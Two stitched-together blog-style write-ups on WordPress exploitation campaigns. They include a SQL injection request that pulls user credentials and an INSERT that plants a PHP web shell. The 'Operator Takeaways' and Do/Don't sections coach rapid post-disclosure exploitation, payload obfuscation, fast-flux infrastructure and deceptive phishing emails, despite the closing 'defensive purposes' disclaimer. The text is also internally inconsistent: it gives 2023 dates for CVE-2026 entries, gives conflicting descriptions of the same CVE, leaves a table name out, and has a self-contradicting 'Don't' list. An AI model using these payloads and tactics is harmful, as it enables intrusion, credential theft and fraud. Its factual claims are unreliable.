Campaign or TTP Overview

The exploitation of these WordPress vulnerabilities was observed in a campaign targeting various small to medium enterprises utilizing outdated versions of WordPress. Beginning in early 2023 and continuing into late 2023, this campaign specifically aimed at installations lacking robust update routines. Attackers employed this campaign to gain unauthorized access, exfiltrate data, and potentially use compromised systems as a platform for further attacks.

While attribution remains elusive, it’s clear the attackers had substantial knowledge of WordPress architecture and a keen ability to create obfuscated payloads, thereby sidestepping elementary security mechanisms. The rapid exploitation speed from vulnerability disclosure to attack execution implies a sophisticated adversary, potentially state-sponsored or an advanced persistent threat group.

How It Was Built

The exploitation sequence began with the attackers leveraging poor security practices surrounding outdated plugins. Attackers discovered that specific WordPress installations were vulnerable to SQL Injection (CVE-2026-60137), which was used as an entry vector.

The subsequent phase involved executing arbitrary PHP code via a Remote Code Execution exploit (CVE-2026-63030), capitalizing on the trust relationship between WordPress and its database.

POST /wp-content/plugins/vulnerable-plugin/vuln.php HTTP/1.1

Host: www.example.com

Content-Type: application/x-www-form-urlencoded



payload=UNION SELECT username, password FROM wp_users WHERE '1'='1';

The payload facilitated access to user credentials stored in the database. The attacker’s infrastructure consisted of compromised domains posing as legitimate plugin updates, distributing malicious payloads targeting these vulnerabilities.

Why It Worked

This campaign’s success can be attributed to three critical factors: timing, obfuscation, and delivery.

Timing: Deploying attacks shortly after the vulnerability disclosures ensured minimal time for patch deployment by possible targets, catching many administrators off-guard.

Obfuscation: The payloads were crafted with sophisticated obfuscation techniques, ensuring that they eluded basic signature-based detection by security software.

Delivery: The attackers used convincing legitimate appearing domains for their server infrastructure. This lent an air of credibility and avoided outright blocking by network defenses.

Operator Takeaways

Adaptation and replication of this campaign emphasize the importance of timing and infrastructure setup for successful exploitation. Red teamers can capitalize on rapidly deploying exploits soon after vulnerability disclosures before defenses can be adequately updated.

Further, ensuring that your payloads are obfuscated to bypass common detection mechanisms provides a significant tactical advantage. Crafting delivery mechanisms that closely mimic legitimate traffic heightens the likelihood of evading immediate detection.

Good / Better / Best

Good: Deploying exploits early in the vulnerability’s lifecycle before patching can occur in targets.

Better: Using domains and delivery methods that align closely with legitimate traffic patterns to avoid detection.

Best: Continually refining obfuscation techniques to improve payload stealth and evasion of advanced detection techniques.

References

• CISA Known Exploited Vulnerabilities Catalog
• WordPress Security and Maintenance Release Notes

Related Reading

• WordPress Exploitation Campaign: wp2shell Vulnerability CVE-2026-63030
• The Mechanics of SQL Injection in Phishing Attacks
• Data Harvesting Techniques in Phishing Campaigns
• What is Code Injection in Social Engineering?

Educational Purpose: This content is provided for awareness and defensive purposes only. Understanding attacker methodologies helps individuals and organizations protect themselves.

Campaign or TTP Overview

Observed from early 2026 through March, the wp2shell exploitation campaign affected thousands of WordPress sites, with the primary victims being small to medium-sized enterprises lacking stringent patch management. The attackers exploited CVE-2026-63030, which allows for arbitrary SQL commands to execute, facilitating remote code execution. This action is attributable to a threat actor group tentatively identified as “Web Wolves” based on their unique infrastructure and malware preferences.

The campaigns were first detected by security researchers in mid-February, with attacks sharply increasing post-disclosure of the vulnerability. While no specific geographical bias was noted, the affected WordPress sites frequently hosted e-commerce capabilities, thus offering lucrative data and financial information for the attackers to exfiltrate and monetize.

How It Was Built

The attack began with a crafted SQL injection payload targeting the vulnerable

table. Through exploiting improper input validation, the attackers inserted a malicious payload directly into database entries which WordPress Core would subsequently execute unwittingly. The payload execution facilitated remote shell access, which was achieved using a command sequence like:

INSERT INTO wp_posts (post_content) VALUES ('<?php system($_GET["cmd"]); ?>');

Initial access was typically gained through automated scanning for vulnerable sites, with bi-weekly scan spikes correlating with targeted mass injection attempts. The delivery mechanism comprised automated scripts deployed via a fast-flux DNS network, obscuring the attacker’s origin and complicating remediation.

Lure content and credentials were a secondary consideration as exfiltration targets focused on payment data harvested through compromised systems and subsequent database culprits. Workers received emails from purported service providers, enticing them to upload their credentials, with subject lines like “Critical Security Update Notification for Order Processing.”

Why It Worked

The primary efficacy of this campaign owes to the automated script’s capability of wide-scale exploitation combined with low-level obfuscation techniques. This obfuscation helped evade basic rule-based detection systems employed by lightly managed WordPress hosts.

Additionally, the exploitation of post-injection vulnerabilities to elevate access privileges within the WordPress environment was a key vector for spreading deeper into the server systems, with particular effectiveness in environments where default security settings were maintained.

The attacker’s choice of social engineering via tailored email communication to site admins further boosted their success rates. The emails exploited psychological factors such as urgency and authority, creating believable deception and prompting unsecured credential submission.

Operator Takeaways

Red team operators can harness insights from this campaign by leveraging similar SQL injection points discovered within other CMS platforms to simulate real-world attacks. Focus on using randomized scanning routines to avoid detection while maintaining a sophisticated phishing strategy that pairs technology with convincing communication.

A key operational enhancement would be to implement a balanced blend of technical compromise and social engineering. Understanding the human element and crafting deceptive messaging aligned with contextual relevance can markedly increase engagement rates, offering greater insight into organizational security postures.

Do’s and Don’ts

Do:

• Leverage vulnerability disclosures by building campaigns swiftly post-announcement to exploit unpatched systems.
• Utilize realistic common pattern emails to lower the suspicion threshold.
• Automate infrastructure deployment to achieve efficiency in fast-flux DNS setups.

Don’t:

• Avoid predictable, repetitive scanning that might raise defensive alarms.
• Refrain from using heavily speculated phishing lures; simplicity paired with authenticity is key.
• Ensure payloads are not embedded into overly generic CMS plugins, which can simplify detection.

References

SANS Internet Storm Center

Exploit Database

Related Reading

• Mechanics of Evasion Techniques in Phishing: Comment Stuffing
• Exploiting CVE-2026-58644: Microsoft SharePoint Deserialization Vulnerability in Phishing Attacks
• Understanding Process Name Masquerading in Phishing and Social Engineering
• Exploiting CVE-2026-11645: Google Chromium V8 Vulnerability in Phishing Campaigns

Educational Purpose: This content is provided for awareness and defensive purposes only. Understanding attacker methodologies helps individuals and organizations protect themselves.